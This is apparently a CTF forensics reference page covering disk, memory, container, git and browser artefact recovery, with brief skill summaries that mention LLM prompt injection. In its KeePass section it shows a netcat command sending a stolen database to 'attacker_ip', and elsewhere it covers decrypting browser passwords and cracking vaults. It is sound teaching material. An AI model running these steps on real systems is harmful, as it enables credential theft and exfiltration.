메뉴
Digital forensics: disk/memory images (Volatility), PCAP + network steganography, Windows event logs & registry, side-channel power/EM traces, RF/SDR/DTMF/POCSAG decode, logic-analyzer (sigrok), image/audio stego, cryptocurrency tracing. Dispatch on file magic.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
SOC 직업 분류 기준
Root-Me app-system (SSH-only): ELF x86/x64/ARM64 & Windows Kernel x64. No local GDB. Libc.rip fingerprint, patchelf, ret2libc/ROP/ret2dlresolve, FSOP glibc 2.35+, BROP, ARM64 AAPCS64 / PAC / TikTag MTE, Windows token steal / PreviousMode / Segment Heap.
Orchestrator for CTF triage: fingerprint binaries, detect manifests (package.json/Cargo/go.mod/foundry.toml), find crypto/forensics/AI artefacts, emit JSON+markdown dispatch pointers into ctf-*/SKILL.md PRI. Bundles pwnsetup/cryptosetup/websetup/foreniq/aiprobe scripts. CTFd client (ctfd.py) for sync/triage/submit workflow.
Cryptography CTF attacks: RSA, AES, ECC, PRNG, hash length-extension, padding oracles, lattice/LWE/CVP, HNP, Coppersmith, Pollard, Wiener, ZKP/Circom/halo2, post-quantum KEM. Dispatch on prime shape, oracle type, or scheme artefact.
Malware & network analysis: obfuscated JS/PowerShell/VBA, PE/.NET analysis, PyInstaller/PyArmor, custom C2 protocols (RC4, AES, DNS), YARA rules, shellcode, memory-forensics IOCs, anti-sandbox/anti-VM bypass.
Miscellaneous CTF: Python/bash jails, encoding puzzles, Z3/SMT, QR codes, RF/SDR, WASM games, esoteric languages, game theory, commitment schemes, AI/ML/LLM agent exploitation (prompt injection, tool-arg injection, federated poisoning, quantum/Qiskit).
OSINT for CTF: social media tracking (X/Tumblr/BlueSky/Discord), username enumeration, reverse image search, geolocation (EXIF/MGRS/Plus Codes/What3Words), DNS/WHOIS, Wayback, FEC/Tor/GitHub mining.
Quick reference for forensics CTF challenges. Each technique has a one-liner here; see supporting files for full details.
Dispatch on observed file types / byte signals, not challenge titles.
| Signal in provided material | Technique → file |
|---|---|
.pcap / .pcapng | network.md (then network-advanced.md for timing/covert channels) |
.sr / .srzip / .logicdata (logic analyser) with SCL/SDA channels | PulseView I²C decoder + datasheet → signals-and-hardware.md |
.sr / .logicdata with single data line, start/stop bits | Saleae UART decode → signals-and-hardware.md |
complex64/complex128 binary + sample-rate in prompt | IQ FFT masking / GQRX pipeline → signals-and-hardware.md |
| Audio with pager-like chirps, narrow FM channel | POCSAG → GQRX→sox→multimon-ng → signals-and-hardware.md |
| Schematic with stack of op-amps + resistor ladder on shared input | Flash ADC recovery → signals-and-hardware.md |
Power traces shape (positions, guesses, traces, samples) | DPA / CPA → signals-and-hardware.md |
.raw / .vmem / .dmp / .lime (memory dump) | Volatility → disk-and-memory.md |
.E01 / .dd / .img / VMDK | Disk carving / partitioning → disk-and-memory.md |
.evtx, SAM, NTUSER.DAT, SRUDB.dat | Windows forensics → windows.md |
| Audio WAV with sync spikes or steady tones | Spectrogram / DTMF / SSTV → stego-advanced.md |
| PNG/JPEG/BMP with suspicious size or LSB patterns | Image stego → steganography.md |
.git/ directory fragment / dangling blob | Git reflog / fsck / blob repair → linux-forensics.md |
Tarball from docker save + .git/objects/??/… files present but refs/HEAD damaged | Raw zlib_decode of every object → disk-and-memory-2.md |
| RAID disks with one missing, equal-size members | RAID5 XOR recovery → disk-and-memory.md |
| PCAP where only a specific User-Agent gets non-default responses + hex-looking paths | UA-gated C2 URL-path hex-XOR exfil → network-advanced.md |
Two trace-sets labelled fixed_vs_random / key_t vs key_r / NIST-TVLA README | Welch's t-test leakage check → signals-and-hardware.md#tvla |
| Constant-time code + traces of equal length but visibly different shape | Morphology-over-duration clustering → signals-and-hardware.md#morphology |
AES first-round target, 5k-10k traces with known plaintexts (.npy + plaintexts) | CPA on sbox(p ⊕ k) Hamming weight → signals-and-hardware.md#cpa |
Recognize artefacts and bytes, not names. If the file type matches, the section applies regardless of challenge title.
For inline code/cheatsheet quick references (grep patterns, one-liners, common payloads), see quickref.md. The Pattern Recognition Index above is the dispatch table — always consult it first; load quickref.md only if you need a concrete snippet after dispatch.
File magic: GCDE (4 bytes)
The .g extension is PrusaSlicer's binary G-code format (bgcode). It stores G-code in a block-based structure with compression.
File structure:
Header: "GCDE"(4) + version(4) + checksum_type(2)
Blocks: [type(2) + compression(2) + uncompressed_size(4)
+ compressed_size(4) if compressed
+ type-specific fields
+ data + CRC32(4)]
Block types:
Compression types: 0=None, 1=Deflate, 2=Heatshrink(11,4), 3=Heatshrink(12,4)
Thumbnail formats: 0=PNG, 1=JPEG, 2=QOI (Quite OK Image)
Parsing and extracting G-code:
import struct, zlib
import heatshrink2 # pip install heatshrink2
with open('file.g', 'rb') as f:
data = f.read()
pos = 10 # After header
while pos < len(data) - 8:
block_type = struct.unpack('<H', data[pos:pos+2])[0]
compression = struct.unpack('<H', data[pos+2:pos+4])[0]
uncompressed_size = struct.unpack('<I', data[pos+4:pos+8])[0]
pos += 8
if compression != 0:
compressed_size = struct.unpack('<I', data[pos:pos+4])[0]
pos += 4
else:
compressed_size = uncompressed_size
# Type-specific extra header fields
if block_type in [0,1,2,3,4]:
pos += 2 # encoding field
elif block_type == 5:
pos += 6 # format + width + height
block_data = data[pos:pos+compressed_size]
pos += compressed_size + 4 # data + CRC32
if block_type == 1: # GCode block
if compression == 3: # Heatshrink 12/4
gcode = heatshrink2.decompress(block_data, window_sz2=12, lookahead_sz2=4)
elif compression == 1: # Deflate (zlib)
gcode = zlib.decompress(block_data)
# Search gcode for hidden comments/flags
Common hiding spots:
;=== FLAG_CHAR ... ===) at specific layer heights;TYPE:Custom)Magic: qoif (4 bytes) + width(4 BE) + height(4 BE) + channels(1) + colorspace(1)
Lightweight image format used in PrusaSlicer thumbnails. Decode with Python struct or use the qoi library.
# Search for flag patterns in decompressed gcode
grep -i "flag\|meta\|ctf\|secret" output.gcode
# Look for custom comments at layer changes
grep ";.*FLAG\|;.*LAYER_CHANGE" output.gcode
# Extract XY coordinates for visual patterns
grep "^G1" output.gcode | awk '{print $2, $3}' > coords.txt
Pattern (PrintedParts): Plot X vs Z (side view) with Y filtering. Extrusion segments at specific Y ranges form readable text.
# Extract XY coordinates from G-code
grep "^G1" output.gcode | awk '{print $2, $3}' > coords.txt
# Plot with matplotlib for visual patterns
Lesson: G-code is just coordinate lists. Side projections (XZ or YZ) reveal embossed/engraved text.
| Magic | Format | Extension | Notes |
|---|---|---|---|
GCDE | PrusaSlicer binary G-code | .g, .bgcode | 3D printing, heatshrink compressed |
qoif | Quite OK Image Format | .qoi | Lightweight image format, often embedded |
OggS | Ogg container | .ogg | Audio/video |
RIFF | RIFF container | .wav,.avi | Check subformat |
%PDF | .pdf | Check metadata & embedded objects |
Modern disk / memory / snapshot forensics from 2024-2026. For the canonical toolbox (Volatility 3, VMware snapshots, ZFS basics, RAID 5 XOR, PowerShell ransomware), see disk-and-memory.md.
Pattern: Corrupted ZFS pool image with encrypted dataset.
Recovery workflow:
strings + offset searching.def fletcher4(data):
a = b = c = d = 0
for i in range(0, len(data), 4):
a = (a + int.from_bytes(data[i:i+4], 'little')) & 0xffffffff
b = (b + a) & 0xffffffff
c = (c + b) & 0xffffffff
d = (d + c) & 0xffffffff
return (d << 96) | (c << 64) | (b << 32) | a
Pattern (Undercut): "LLMs only" + "undercut" → not AI GPT, but GUID Partition Table.
Key insight: GPT partition GUIDs are 16 arbitrary bytes — can encode anything. Look for file magic headers in GUIDs.
# Parse GPT partition table
gdisk -l image.img
# Or with Python:
python3 -c "
import struct
data = open('image.img','rb').read()
# GPT header at LBA 1 (offset 512)
# Partition entries start at LBA 2 (offset 1024)
# Each entry is 128 bytes, GUID at offset 16 (16 bytes)
for i in range(128):
entry = data[1024 + i*128 : 1024 + (i+1)*128]
guid = entry[16:32]
if guid != b'\x00'*16:
print(f'Partition {i}: {guid.hex()}')
"
First GUID starts with BZh11AY&SY (bzip2 magic) → concatenate GUIDs, decompress as bzip2, then decode ASCII85.
Pattern (kd): Go binary crash dump. Flag as plaintext string constant in .data section survives in minidump memory.
strings -a minidump.dmp | grep -i "flag\|ctf\|0xFUN"
Lesson: Minidumps contain full memory regions. String constants, keys, and secrets persist. strings -a + grep is the fast path.
Pattern (VMware): Split sparse VMDK requires grain directory + grain table traversal.
Key steps:
Lesson: Don't assume VM images can be mounted directly. Parse the VMDK sparse format manually.
Pattern (c47chm31fy0uc4n): Linux memory dump with flag in environment variables or process data.
strings -a -n 6 memdump.bin | grep -E "SYNC|FLAG|SSH_CLIENT|SESSION_KEY"
# SSH artifacts reveal source IP and ephemeral port
# Environment variables may contain keys/tokens
Pattern (Jellycat): Extract fake executable from Windows memory dump. Cipher: subtract 0x32, then XOR with cycling key (large multi-line string, e.g., ASCII art).
Key lesson: Always extract and reverse the actual binary from memory rather than trusting strings output (string tables may be red herrings). XOR keys can be hundreds of bytes (ASCII art, lorem ipsum).
# Extract binary, find XOR key in data section
key = b"..." # Large ASCII art string
cipher = open('extracted.bin', 'rb').read()
plaintext = bytes((b - 0x32) ^ key[i % len(key)] for i, b in enumerate(cipher))
Pattern: Linux memory dump + encrypted .veg files + enc_key.bin; ransomware uses hybrid crypto (AES for files, RSA-wrapped key). Volatility may fail process enumeration due symbol/KASLR (Kernel Address Space Layout Randomization) mismatch.
Fast workflow:
unzip -l encrypted_files.zip
# Compare listed files/sizes vs extracted tree; re-extract cleanly if mismatch
unzip -o encrypted_files.zip -d encrypted_full
strings -a ransomware.elf | grep -E "enc_key|EVP_aes|PUBLIC KEY|.veg"
objdump -d ransomware.elf | less
AES-256-OFB, IV prepended to each .veg, global 32-byte AES key, RSA public key hardcoded.vol -f memdump.raw linux.pslist
vol -f memdump.raw linux.proc.Maps
vol -f memdump.raw linux.vmayarascan
/home/.../enc_key.bin, HOME path)..veg files and checking magic bytes (%PDF-, PK\x03\x04, \x89PNG\r\n\x1a\n).# OFB: iv = first 16 bytes, ciphertext starts at +16
# Decrypt all *.veg recursively from a clean extraction directory
snap/*/Downloads/...) and deduplicate logically.rg -n -a '[A-Za-z]+CTF\\{[^}]+\\}' recovered_full
pdftotext recovered_full/**/*.pdf - 2>/dev/null | rg '[A-Za-z]+CTF\\{'
Key lessons:
CTF{...} in metadata can be a decoy; confirm with corpus-wide consistency.Pattern (Trilogy of Death Vol I: Corel): Corel Linux disk image containing WordPerfect macro file (fc.wcm) with XOR-encrypted byte arrays.
Key insight: WordPerfect macro files (.wcm) can contain executable macros with embedded encrypted data. The XOR formula (bb + kb) - 2*(bb & kb) is mathematically equivalent to bitwise XOR.
Brute-force 4-byte XOR key under charset constraints:
import string
docbody = [206, 56, 8, 128, 209, 47, 2, 149, ...] # encrypted bytes from macro
allowed = set(map(ord, string.ascii_lowercase + string.digits + "_{}"))
# Find valid key bytes independently for each position mod 4
cands = []
for j in range(4):
good = []
for k in range(256):
if all((docbody[i] ^ k) in allowed for i in range(j, len(docbody), 4)):
good.append(k)
cands.append(good)
# Try all combinations (usually very few candidates per position)
for k0 in cands[0]:
for k1 in cands[1]:
for k2 in cands[2]:
for k3 in cands[3]:
key = [k0, k1, k2, k3]
pt = ''.join(chr(c ^ key[i % 4]) for i, c in enumerate(docbody))
if pt.startswith("srd") and pt.endswith("}"):
print(pt)
Lesson: Legacy document formats (WordPerfect, Lotus 1-2-3) can embed executable macros with obfuscated data. When you know the flag charset, brute-forcing a short XOR key is trivial by filtering each key byte independently.
Pattern (Trilogy of Death Vol II: The Legendary Armory): Two relics in volatile memory (minidump) must be XORed; ISO 9660 directory entries in memory fragments point to hidden data.
Technique:
ZIP local header parsing without central directory:
import struct, zlib
pos = 0
files = {}
while True:
off = dec.find(b"PK\x03\x04", pos)
if off < 0:
break
(ver, flag, method, _, _, crc, csize, usize, nlen, xlen) = struct.unpack_from(
"<HHHHHIIIHH", dec, off + 4)
name = dec[off + 30:off + 30 + nlen].decode()
data_off = off + 30 + nlen + xlen
comp = dec[data_off:data_off + csize]
if method == 8: # Deflate
raw = zlib.decompress(comp, -15)
else:
raw = comp
files[name] = raw
pos = data_off + csize
Key insight: When ZIP central directory is missing/corrupt, iterate local file headers (PK\x03\x04) directly. Each local header contains enough metadata (compression method, sizes, filename) to extract files independently.
Pattern (Trilogy of Death Vol III: The Poisoned Apple): APFS volume maintains historical snapshots; recovering earlier state of a key file reveals authentic value before poisoning.
Technique:
APSB) across all snapshots, noting transaction IDs (XIDs)icat (Sleuth Kit with APFS support) to read specific inodes across different snapshot XIDsFinding APFS volume superblocks across snapshots:
import struct
with open("apfs_partition.img", "rb") as f:
mm = f.read()
snaps = []
pos = 0
while True:
idx = mm.find(b"APSB", pos)
if idx < 0:
break
# XID is at offset -16 from magic (in block header)
hdr_start = idx - 32
xid = struct.unpack_from("<Q", mm, hdr_start + 16)[0]
blk = hdr_start // 4096
snaps.append((xid, blk))
pos = idx + 1
# Read target inode across snapshots
import subprocess
for xid, blk in sorted(set(snaps)):
try:
out = subprocess.check_output(
["icat", "-f", "apfs", "-P", "apfs", "-B", str(blk),
"apfs_partition.img", "449414"]) # target inode number
print(f"XID {xid}: {out[:64]}...")
except:
pass
Decryption with recovered authentic key:
import hashlib
from Cryptodome.Cipher import AES
# Pre-poisoning key value (found in earlier snapshot)
authentic_key_hex = "39f520679fd68654500f9cd44e8caed2bc897a3227dc297c4520336de2a59dd7"
key = hashlib.pbkdf2_hmac('sha256', bytes.fromhex(authentic_key_hex), salt, iterations)
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(encrypted_flag)
Key insight: APFS (and other copy-on-write filesystems like ZFS/Btrfs) preserve historical file states in snapshots. When a challenge involves "poisoned" or "tampered" data, always check for older snapshots containing the original values. Use icat with different block offsets to read the same inode across different transaction IDs.
Pattern (Landfall, Sherlockk, Cold Workspace): KAPE (Kroll Artifact Parser and Extractor) triage collection ZIP containing Windows forensic artifacts. Multiple challenges reference the same triage dataset.
KAPE triage structure:
Modified_KAPE_Triage_Files/
├── C/
│ ├── Users/<username>/
│ │ ├── AppData/Local/Microsoft/Windows/PowerShell/PSReadLine/
│ │ │ └── ConsoleHost_history.txt # PowerShell command history
│ │ ├── NTUSER.DAT # User registry hive
│ │ └── AppData/Roaming/Microsoft/Windows/Recent/ # Recent files
│ ├── Windows/
│ │ ├── System32/config/
│ │ │ ├── SAM # Password hashes
│ │ │ ├── SYSTEM # System config + boot key
│ │ │ └── SOFTWARE # Installed software
│ │ └── appcompat/Programs/
│ │ └── Amcache.hve # Execution history with SHA-1 hashes
│ └── $MFT # Master File Table
└── ...
High-value artifacts:
cat "C/Users/*/AppData/Local/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt"
# Look for: credential access, lateral movement, data staging
# Parse with Eric Zimmerman's AmcacheParser or regipy
python3 -c "
from regipy.registry import RegistryHive
reg = RegistryHive('C/Windows/appcompat/Programs/Amcache.hve')
for entry in reg.recurse_subkeys(as_json=True):
print(entry)
" | grep -i "flag\|suspicious\|malware"
# Parse MFT for resident file data (files < ~700 bytes stored inline)
# Use analyzeMFT or python-ntfs
import struct
with open('$MFT', 'rb') as f:
mft_data = f.read()
# Search for flag patterns in raw MFT data
import re
flags = re.findall(rb'utflag\{[^}]+\}', mft_data)
for flag in flags:
print(f"Found: {flag.decode()}")
# Small .dmp files may be minidumps with environment variable blocks
strings -a cold-workspace.dmp | grep -i "flag\|password\|key\|secret"
# Environment variables survive in process memory snapshots
Challenge patterns from UTCTF 2026:
Key insight: KAPE triage ZIPs contain pre-collected forensic artifacts — no need for full disk imaging. Start with PowerShell history (fastest wins) → Amcache (execution timeline) → MFT (resident data for small files) → registry hives (persistence, credentials).
.git Inside Docker Image Layers — Raw zlib_decode of .git/objects/* (source: 404CTF 2025 Dockerflag)Trigger:
docker save image_name > image.tar..git/ directory but git log/git show fails with bad object / corrupt loose object / missing HEAD or refs/..git/objects/XX/YYYYYY… still exist (file magic: first 2 bytes are zlib header 78 9C or 78 01).Signals to grep:
# After docker save + tar -xf:
find . -name 'layer.tar' -exec tar -tvf {} \; | grep -E '\.git/'
find . -path '*.git/objects/*/*' | head
file $(find . -path '*.git/objects/*/*' | head -1) # "zlib compressed data"
Mechanic: Git stores each loose object zlib-compressed. Even when refs/HEAD are missing or .git/index is corrupt, the object files themselves are self-contained — decompress each and grep for the target.
# Recover every object, print contents
import os, zlib, pathlib
for p in pathlib.Path('.').rglob('.git/objects/??/*'):
if p.is_file():
try:
data = zlib.decompress(p.read_bytes())
header, _, body = data.partition(b'\x00') # e.g. "blob 123\x00<content>"
if b'FLAG' in body or b'flag' in body or b'404CTF' in body:
print(p, header, body[:500])
except Exception:
pass
Equivalent one-liner in bash with openssl zlib -d or pigz -dc:
for f in $(find . -path '*.git/objects/*/*' -type f); do
pigz -dc < "$f" 2>/dev/null | grep -aE 'flag|CTF\{' && echo " ← $f"
done
Docker layer forensics tie-in: docker save writes each layer as <sha>/layer.tar. A file deleted in a later layer (e.g. a secret .env rm-ed during build) is still present in the earlier layer. Combine:
tar -xf image.tar → manifest.json tells you the layer order (oldest first).layer.tar into its own layer-N/ dir; grep -r for the target across all.docker history --no-trunc <image> exposes build ARG/ENV values that may include secrets.dive <image> visualises layer diffs interactively.Generalizes to: any CI artifact where git history is pruned but object files leak; partial restore of destroyed repos (e.g. git filter-branch didn't clean objects); forensics of rebuild-time secret leaks.
For 2024-2026 era techniques (ZFS, GPT GUID, KAPE, APFS snapshots, ransomware key recovery), see disk-and-memory-2.md.
vol3 -f memory.dmp windows.info
vol3 -f memory.dmp windows.pslist
vol3 -f memory.dmp windows.cmdline
vol3 -f memory.dmp windows.netscan
vol3 -f memory.dmp windows.filescan
vol3 -f memory.dmp windows.dumpfiles --physaddr <addr>
vol3 -f memory.dmp windows.mftscan | grep flag
Common plugins:
windows.pslist / windows.pstree - Process listingwindows.cmdline - Command line argumentswindows.netscan - Network connectionswindows.filescan - File objects in memorywindows.dumpfiles - Extract files by physical addresswindows.mftscan - MFT FILE objects in memory (timestamps, filenames). Note: mftparser was Volatility 2 only; Vol3 uses mftscan# Mount read-only
sudo mount -o loop,ro image.dd /mnt/evidence
# Autopsy / Sleuth Kit
fls -r image.dd # List files recursively
icat image.dd <inode> # Extract file by inode
# Carving deleted files
photorec image.dd
foremost -i image.dd
# OVA = TAR archive containing VMDK + OVF
tar -xvf machine.ova
# 7z reads VMDK directly (no mount needed)
7z l disk.vmdk | head -100
7z x disk.vmdk -oextracted "Windows/System32/config/SAM" -r
Key files to extract from VM images:
Windows/System32/config/SAM - Password hashesWindows/System32/config/SYSTEM - Boot keyWindows/System32/config/SOFTWARE - Installed softwareUsers/*/NTUSER.DAT - User registryUsers/*/AppData/ - Browser data, credentialsConverting VMware snapshots to memory dumps:
# .vmss (suspended state) + .vmem (memory) → memory.dmp
vmss2core -W path/to/snapshot.vmss path/to/snapshot.vmem
# Output: memory.dmp (analyzable with Volatility/MemprocFS)
Malware hunting in snapshots (Armorless):
ṙ instead of r)pyinstxtractor → decompile .pycRansomware key recovery via MFT:
vol3 -f memory.dmp windows.mftscan | grep flag
# mtime as Unix epoch → seed for PRNG → derive encryption key
gdb -c core.dump
(gdb) info registers
(gdb) x/100x $rsp
(gdb) find 0x0, 0xffffffff, "flag"
Pattern (Till Delete Do Us Part): USB image with deleted partition table.
Recovery workflow:
# Check for partitions
fdisk -l image.img # Shows no partitions
# Recover partition table
testdisk image.img # Interactive recovery
# Or use kpartx to map partitions
kpartx -av image.img # Maps as /dev/mapper/loop0p1
# Mount recovered partition
mount /dev/mapper/loop0p1 /mnt/evidence
# Check for hidden directories
ls -la /mnt/evidence # Look for .dotfolders
find /mnt/evidence -name ".*" # Find hidden files
Flag hiding: Path components as flag chars (e.g., /.Meta/CTF/{f/l/a/g})
Pattern: RAID 5 array with one damaged/missing disk. Two working disks are provided and the third must be reconstructed using XOR parity.
How RAID 5 parity works: Data is striped across N disks with distributed parity. For any stripe, Disk1 XOR Disk2 XOR ... XOR DiskN = 0. If one disk is missing, XOR the remaining disks to recover it.
Recovery script:
# Recover missing disk2 from disk1 and disk3
with open('disk1.img', 'rb') as f:
disk1 = f.read()
with open('disk3.img', 'rb') as f:
disk3 = f.read()
# XOR byte-by-byte to recover the missing disk
disk2 = bytes(a ^ b for a, b in zip(disk1, disk3))
with open('disk2.img', 'wb') as f:
f.write(disk2)
After recovery:
# Reassemble the RAID array
mdadm --create /dev/md0 --level=5 --raid-devices=3 \
disk1.img disk2.img disk3.img
# Or mount individual recovered disk if it contains a filesystem
mount -o loop,ro disk2.img /mnt/recovered
Key insight: RAID 5 uses XOR parity across all disks in each stripe. XOR is self-inverse: if A XOR B XOR C = 0, then B = A XOR C. For N-disk RAID 5, XOR all N-1 working disks together to recover the missing one.
Detection: Challenge provides multiple disk images of identical size, mentions "array", "redundancy", or "parity". file command may identify them as filesystem images or raw data.
Pattern (Email From Krampus): PowerShell memory dump + network capture.
Analysis workflow:
python power_dump.py powershell.DMP
# Or: strings powershell.DMP | grep -A5 "function\|Invoke-"
Identify encryption (typically AES-CBC with SHA-256 key derivation)
Extract encrypted attachment from PCAP:
# Filter SMTP traffic in Wireshark
# Export attachment, base64 decode
# Key often generated with Get-Random, regex search:
strings powershell.DMP | grep -E '^[A-Za-z0-9]{24}$' | sort | head
# Extract APK from device
adb pull /data/app/com.target.app/base.apk
# Analyze APK contents
apktool d base.apk -o decompiled/
# Check: AndroidManifest.xml, res/values/strings.xml, shared_prefs/
# Extract data from Android backup
adb backup -apk -shared -all -f backup.ab
java -jar abe.jar unpack backup.ab backup.tar
tar xf backup.tar
# SQLite databases (contacts, messages, browser history)
sqlite3 /data/data/com.android.providers.contacts/databases/contacts2.db ".tables"
sqlite3 /data/data/com.android.providers.telephony/databases/mmssms.db "SELECT * FROM sms"
# Parse Android filesystem image
mkdir android_mount && mount -o ro android_image.img android_mount/
# Key locations:
# /data/data/<app>/databases/ — app SQLite databases
# /data/data/<app>/shared_prefs/ — app preferences (XML)
# /data/system/packages.xml — installed packages
# /data/misc/wifi/wpa_supplicant.conf — saved WiFi passwords
Key insight: Android stores app data in /data/data/<package>/ with SQLite databases and XML shared preferences. adb backup captures the full app state. For CTFs, check shared_prefs/ for hardcoded secrets and databases/ for flags.
# Export Docker image layers
docker save IMAGE:TAG -o image.tar
tar xf image.tar
# Each layer is a directory with layer.tar containing filesystem changes
# Check: layer.tar files for added/modified files, deleted files (.wh.* whiteout)
# Inspect image history for build commands (may contain secrets)
docker history IMAGE:TAG --no-trunc
# Shows every Dockerfile instruction including ARGs and ENV values
# Extract filesystem without running the container
docker create --name extract IMAGE:TAG
docker export extract -o container_fs.tar
docker rm extract
# Analyze with dive (layer-by-layer diff viewer)
dive IMAGE:TAG
# Common forensic targets in container images:
# /app/.env, /app/config/* — application secrets
# /root/.bash_history — build-time commands
# /etc/shadow — leaked credentials
# Deleted files visible in earlier layers even if removed in later ones
Key insight: Docker images are layered — a file deleted in a later layer still exists in the earlier layer's tar. Use docker history --no-trunc to see full Dockerfile commands including secrets passed via ARG or ENV. The dive tool visualizes layer diffs interactively.
# Enumerate public S3 buckets
aws s3 ls s3://target-bucket/ --no-sign-request
aws s3 cp s3://target-bucket/flag.txt . --no-sign-request
# Check bucket versioning (previous versions may contain deleted flags)
aws s3api list-object-versions --bucket target-bucket --no-sign-request
aws s3api get-object --bucket target-bucket --key secret.txt --version-id VERSION_ID out.txt
# GCP Cloud Storage
gsutil ls gs://target-bucket/
gsutil cp gs://target-bucket/flag.txt .
# Azure Blob Storage
az storage blob list --container-name target --account-name storageaccount
az storage blob download --container-name target --name flag.txt --account-name storageaccount
Key insight: Cloud storage versioning preserves deleted objects. Even if a flag file is deleted from the bucket, previous versions may still be accessible via list-object-versions. Always check for versioning-enabled buckets.
# Search for flag fragments
grep -iE "(flag|part|piece|fragment)" server.log
# Reconstruct fragmented flags
grep "FLAGPART" server.log | sed 's/.*FLAGPART: //' | uniq | tr -d '\n'
# Find anomalies
sort logfile.log | uniq -c | sort -rn | head
Pattern (Making the Naughty List): Full attack timeline from logs + PCAP + malware.
Evidence sources:
# SSH session commands
grep -A2 "session opened" /var/log/auth.log
# User command history
cat /home/*/.bash_history
# Downloaded malware
find /usr/bin -newer /var/log/auth.log -name "ms*"
# Network exfiltration
tshark -r capture.pcap -Y "tftp" -T fields -e tftp.source_file
Common malware pattern: AES-ECB encrypt + XOR with same key, save as .enc
Pattern (Plumbing): Sensitive data leaked during Docker build but cleaned in later layers.
Key insight: Docker image config JSON (blobs/sha256/<config_hash>) permanently preserves ALL RUN commands in the history array, regardless of subsequent cleanup.
tar xf app.tar
# Find config blob (not layer blobs)
python3 -m json.tool blobs/sha256/<config_hash> | grep -A2 "created_by"
# Look for RUN commands with flag data, passwords, secrets
Analysis steps:
tar xf app.tarmanifest.json to find the config blob hashhistory[].created_by entriesRUN command are preserved in the historyrm -f secret.txt, the RUN echo "flag{...}" > secret.txt remains visibleChrome/Edge Login Data decryption (requires master_key.txt):
from Crypto.Cipher import AES
import sqlite3, json, base64
# Load master key (from Local State file, DPAPI-protected)
with open('master_key.txt', 'rb') as f:
master_key = f.read()
conn = sqlite3.connect('Login Data')
cursor = conn.cursor()
cursor.execute('SELECT origin_url, username_value, password_value FROM logins')
for url, user, encrypted_pw in cursor.fetchall():
# v10/v11 prefix = AES-GCM encrypted
nonce = encrypted_pw[3:15]
ciphertext = encrypted_pw[15:-16]
tag = encrypted_pw[-16:]
cipher = AES.new(master_key, AES.MODE_GCM, nonce=nonce)
password = cipher.decrypt_and_verify(ciphertext, tag)
print(f"{url}: {user}:{password.decode()}")
Master key extraction from Local State:
import json, base64
with open('Local State', 'r') as f:
local_state = json.load(f)
encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
# Remove DPAPI prefix (5 bytes "DPAPI")
encrypted_key = encrypted_key[5:]
# On Windows: CryptUnprotectData to get master_key
# In CTF: master_key may be provided separately
Pattern (Browser Wowser): Flag hidden in browser history URLs.
# Quick method
strings places.sqlite | grep -i "flag\|MetaCTF"
# Proper forensic method
sqlite3 places.sqlite "SELECT url FROM moz_places WHERE url LIKE '%flag%'"
Key tables: moz_places (URLs), moz_bookmarks, moz_cookies
Pattern (Talk To Me): USB isochronous transfers contain audio data.
Extraction workflow:
# Export ISO data with tshark
tshark -r capture.pcap -T fields -e usb.iso.data > audio_data.txt
# Convert to raw audio and import into Audacity
# Settings: signed 16-bit PCM, mono, appropriate sample rate
# Listen for spoken flag characters
Identification: USB transfer type URB_ISOCHRONOUS = real-time audio/video
Problem: TFTP netascii mode corrupts binary transfers; Wireshark doesn't auto-decode.
Fix exported files:
# Replace netascii sequences:
# 0d 0a → 0a (CRLF → LF)
# 0d 00 → 0d (escaped CR)
with open('file_raw', 'rb') as f:
data = f.read()
data = data.replace(b'\r\n', b'\n').replace(b'\r\x00', b'\r')
with open('file_fixed', 'wb') as f:
f.write(data)
Pattern (Tampered Seal): TLS 1.2 with TLS_RSA_WITH_AES_256_CBC_SHA (no PFS).
Attack flow:
public.der)openssl x509 -in public.der -inform DER -noout -modulusrsatool -p P -q Q -o private.pemAfter decryption:
ROT13 on letters + ROT5 on digits. Common final layer in multi-stage forensics:
def rot18(text):
result = []
for c in text:
if c.isalpha():
base = ord('a') if c.islower() else ord('A')
result.append(chr((ord(c) - base + 13) % 26 + base))
elif c.isdigit():
result.append(str((int(c) + 5) % 10))
else:
result.append(c)
return ''.join(result)
echo "base64string" | base64 -d
echo "hexstring" | xxd -r -p
# ROT13: tr 'A-Za-z' 'N-ZA-Mn-za-m'
# Exposed .git directory on web server
gitdumper.sh https://target/.git/ /tmp/repo
# Check reflog for old commits with secrets
cat .git/logs/HEAD
# Download objects from .git/objects/XX/YYYY, decompress with zlib
Tool: gitdumper.sh from internetwache/GitTools is most reliable.
Pattern (Moby Dock): KeePass database (.kdbx) found on compromised system contains SSH keys or credentials for lateral movement.
Transfer from remote system:
# On target: base64 encode and send via netcat
base64 .system.kdbx | nc attacker_ip 4444
# On attacker: receive and decode
nc -lvnp 4444 > kdbx.b64 && base64 -d kdbx.b64 > system.kdbx
Cracking KeePass v4 databases:
# Standard keepass2john (KeePass v3 only)
keepass2john system.kdbx > hash.txt
# For KeePass v4 (KDBX 4.x with Argon2): use custom fork
git clone https://github.com/ivanmrsulja/keepass2john.git
cd keepass2john && make
./keepass2john system.kdbx > hash.txt
# Alternative: keepass4brute (direct brute-force)
python3 keepass4brute.py -d wordlist.txt system.kdbx
Wordlist generation from challenge context:
# Generate wordlist from related website content
cewl http://target:8080 -d 2 -m 5 -w cewl_words.txt
# Add theme-related keywords manually
echo -e "expectopatronum\nharrypotter\nalohomora" >> cewl_words.txt
# Crack with hashcat (Argon2 = mode 13400)
hashcat -m 13400 hash.txt cewl_words.txt
After cracking — extract credentials:
.kdbx in KeePassXC with recovered passwordKey insight: Standard keepass2john does not support KeePass v4 (KDBX 4.x) databases that use Argon2 key derivation. Use the ivanmrsulja/keepass2john fork or keepass4brute for v4 support. Generate context-aware wordlists with cewl targeting related web services.
Pattern (Poem About Pirates): Git repository with clean history where data was overwritten and history rewritten via git rebase --squash. The original commits survive as orphaned objects.
Recovery steps:
# Check reflog for rebase/squash operations
git reflog --all
# Find orphaned (unreachable) commits
git fsck --unreachable --no-reflogs
# Inspect each unreachable commit
git show <commit-hash>
git diff <commit-hash>^ <commit-hash>
# Extract specific file version from orphaned commit
git show <commit-hash>:path/to/file
